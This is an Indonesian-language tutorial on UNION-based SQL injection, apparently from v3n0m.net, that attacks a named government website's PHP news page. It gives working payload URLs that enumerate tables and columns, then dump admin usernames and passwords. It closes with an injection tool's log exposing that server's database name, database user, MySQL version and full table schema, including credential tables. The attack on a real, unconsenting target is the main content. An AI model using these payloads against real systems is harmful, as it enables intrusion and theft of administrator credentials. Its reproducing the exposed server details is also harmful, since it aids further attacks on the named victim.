8 Steps Blind Sql Injection On Php
Credit : v3n0m.net Pada tutorial blind sql injection ini kita hanya berfokus untuk mencari table dan column yg berhubungan dengan username dan password agar bisa melakukan login sebagai admin.
Step 1: Di situs yg udah gw jadiin target ini, hal yg gw lakukan pertama kali adalah mencoba mencari url dimana gw bisa untuk meng'input / injeksi query, atau dengan kata laen, gw melakukan enumeration pada situs tersebut, dan ternyata memang hampir semua url pada halaman berita situs ini bisa gw input query sql,
Step 2: Berikut'a gw mencoba memberikan character / tanda minus (-) di belakang angka 67 untuk mendapatkan sebuah pesan kesalahan / error pada page situs tersebut, dan terlihat setelah gw memberikan tanda minus di belakang angka ternyata content berita menghilang atau dengan kata lain gw mendapati blank page pada content berita.
Step 3: Dari situ udah bisa gw pastikan bahwa situs tersebut vulnerable akan serangan Sql Injection, maka berikut'a gw menambahkan query "+union+all+select+1--", kali ini keluar pesan error :
"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/dprdkalb/public_html/_berita/berita_show.php on line 11"
Pesan error tersebut bisa di artikan bahwa kita telah memasukan query sql yg ga valid pada directory /home/dprdkalb/public_html/_berita/ di file berita_show.php pada baris code ke 11
Step 4: Well, now time for penetration victim !! gw mulai melakukan hit count dengan menambahkan query "+union+all+select+1,2,3,4,5,6,dst--" hingga halaman situs mengeluarkan angka, kebetulan pada situs ini gw mendapatkan angka 4,6 dan 3 pada hit count ke 5.
Step 5: Saat'a untuk mencari table name yg berhubungan dengan access login admin, karena output yg keluar adalah angka 4,6,3 dan di url gw melakukan hit count hingga angka ke 5, maka pada url tersebut gw mulai mengganti angka 4 dengan query "table_name", kenapa harus di angka 4 ?? sebenar'a bisa juga pada angka 6 atau angka 3, tapi disitu angka 6 dan 3 terlihat lebih kecil sehingga apabila gw menaruh query table_name pada angka 6 atau 3 maka output string yg di hasilkan juga akan terlihat kecil, itu lah mengapa gw menaruh'a di angka 4 yg terlihat lebih besar dari angka 6 dan 3.
FYI: String table_name hanya boleh di ganti pada angka yg terdapat di url mengikuti ouput yg keluar pada halaman situs, jadi apabila yg keluar angka 4,5,6 kita hanya boleh mengganti salah satu dari angka² tersebut menjadi string, karena apabila kita menaruh string table_name diluar dari angka yg telah ter'output maka page tidak akan mengeluarkan hasil output string juga.
Untuk mencari table pertama hingga terakhir gw hanya mengganti dan menambahkan angka 0 di belakang tulisan limit pada url, misal dari 0,1 menjadi 1,1 lalu 2,1 dan seterus'a hingga lo mendapatkan table yg di cari.
Berikut query sql beserta screenshot yg gw injeksi pada url situs tersebut yg menghasil kan beberapa nama table hingga table yg di cari.
"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67 +union+all+select+1,2,3,table_name,5,6+from+information_schema.tables+where+ table_schema=database()+limit+0,1--"
Step 6: Pada gambar di atas gw udah mendapatkan nama table yg gw cari, yaitu table tbuser, berikut'a gw akan mencari column dari table tbuser tersebut dengan cara mengconvert string tbuser dari ascii menjadi hexadecimal .
Copy nama table yg telah lo dapet, dan masuk ke situs ini, pada box sebelah kiri (ASCII text box) paste nama table'a, berikut'a click tombol convert dan angka pada box di tengah itulah yg kita copy untuk mencari column dari table tersebut . Hasil dari convert ke hexadecimal harus di tambahkan 0x pada url untuk mencari column name, di bawah code dan screenshot'a untuk situs tersebut
"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67 +union+all+select+1,2,3,column_name,5,6+from+information_schema.columns+ where+table_name=0x746275736572+limit+0,1--"
Untuk mencari nama column pertama hingga column yg di cari, sama seperti mencari nama table yg telah gw jelasin di atas, hanya mengganti dan menambahkan angka 0 di belakang tulisan limit
Step 7: 0.k sekarang nama table yg di cari udah dapat, begitupun nama column'a juga udah dapat, final gw menggunakan operator concatenation (concat) untuk menyatukan nama column dari table yg di cari, berikut query dan screenshot'a:
"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67+union+all+ select+1,2,3,concat(username,char(58),password),5,6+from+ tbuser--"
step 8: Yupz... pada gambar di atas adalah username dan password login untuk mengakses halaman admin situs tersebut, tp gw kurang puas, masih terlihat angka 3 dan 6 hasil dari hit count, gimana cara untuk menghilangkan'a ?? gunakan nilai null untuk membersihkan'a, di bawah adalah query dan screenshot'a
"http://dprdkalbar.go.id/berita.php?menu=berita_show&&id=-67+union+all+ select+null,null,null,concat(username,char(58),password),null, null+from+tbuser--"
Terlihat bukan angka 3 dan 6 telah hilang...
Concatenation : Kondisi dimana lo mau mengeluarkan
output field dengan beberapa column_name atau
karena kurang'a angka dari hasil hit count yang keluar.
Char(58) : Nilai decimal dari tanda titik dua
/ pemisah (:), bisa juga menggunakan 3a,
sehingga menjadi 0x3a agar dapat terbaca di url.
null : Mewakili nilai data yg tidak diketahui
(unknown) atau tidak menentu (indeterminate) atau
kosong (absence of value).
Union : Untuk memilih banyak data dalam satu
statement sql.
+ / %20 : Nilai hexadecimal dari spasi.
--===[ PoC ]===--
[+] URL:http://dprdkalbar.go.id/berita.php?menu=
berita_show&&id=-67+union+select+all+1,2,3,4,5,6--
[+] Evasion Used: "+" "--"
[+] 17:41:23
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: dprdkalb_gllr1
User: dprdkalb_ikhsan@localhost
Version: 5.0.51a-community-log
[Database]: dprdkalb_gllr1
[Table: Columns]
[0]_agenda:
|- id
|- mulai
|- akhir
|- rapat
|- hari
|- jam
|- agenda
|- kegiatan
[1]_anggota:
|- id
|- nama
|- jabatan
|- jabatan2
|- tempat_lahir
|- tgl_lahir
|- alamat
|- telp
|- hp
|- the_file
[2]_berita:
|- id
|- lead
|- isi
|- judul
|- the_file
|- tanggal
[3]_foto:
|- id
|- judul
|- keterangan
|- tanggal
|- the_file
[4]_kepda:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[5]_keputusan_pimpinan:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[6]_opini:
|- id
|- judul
|- tanggal
|- lead
|- isi
[7]_perda:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[8]_profil_ketua:
|- id
|- isi
[9]_raperda:
|- id
|- judul
|- tahun
|- perihal
|- the_file
|- the_file2
[10]_sambutan_dprd:
|- id
|- isi
[11]_sambutan_ketua:
|- id
|- isi
[12]_sekilas_dprd:
|- id
|- isi
[13]_sekretariat:
|- id
|- nama
|- jabatan
|- jabatan2
|- tempat_lahir
|- tgl_lahir
|- alamat
|- hp
|- the_file
[14]_tupoksi_dprd:
|- id
|- isi
[15]as_counter:
|- id
|- counter
[16]as_counterlog:
|- id
|- ip
|- datetime
[17]berita_backup:
|- id
|- lead
|- isi
|- judul
|- the_file
|- tanggal
[18]tbl_auth_user:
|- user_id
|- user_password
[19]tbuser:
|- username
|- password
[-] Total URL Requests 94